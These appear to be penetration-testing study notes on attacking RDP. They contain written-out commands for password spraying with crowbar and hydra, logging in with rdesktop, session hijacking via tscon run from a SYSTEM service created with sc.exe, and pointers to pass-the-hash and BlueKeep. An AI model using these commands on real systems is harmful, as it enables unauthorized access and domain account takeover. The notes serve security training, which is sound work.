Skip to content

Attacking RDP

  • TCP/3389 - ms-wbt-server

Misconfigs

  • no password
  • password guessing - use password spraying
  • https://github.com/galkan/crowbar
  • Crowbar for password spraying on RDP
  • crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
  • Hydra for password spraying on RDP
  • hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Login using rdesktop

  • rdesktop -u admin -p password123 192.168.2.143

Protocol Specific Attacks

  • We pwn an account with local admin
  • If another user is connected to our compromised machine, we can hijack/impersonate the users account
  • In AD, this means domain admin account takeover

RDP Session Hijacking

  • to impersonate without a password, we need to have SYSTEM privileges
  • use the MS tscon.exe binary that enables users to connect to another desktop session
  • it works by specifying the session id which should be connected to our sessionname

TSCON Command

  • tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}\

  • If no SYSTEM privs, we can use PsExec or mimikatz

  • Another trick:
  • create a windows service that will run as Local System and execute a binary
    • This binary will, by default, have SYSTEM privs as the user
query user

sc.exe create sesionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#123"

net start sessionhijack
  • Once this service is started, a new terminal with the other user will appear
  • Note: This method no longer works on Server 2019.

RDP Pass-the-Hash (PtH)

  • If the Hash is not cracked, we can use the hash in a RDP PtH attack

Issue:

  • Restricted Admin Mode: find in 9. Password Attacks - Windows Lateral Movement - Pass the Hash (PtH)

RDP Exploit RCE - BlueKeep

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708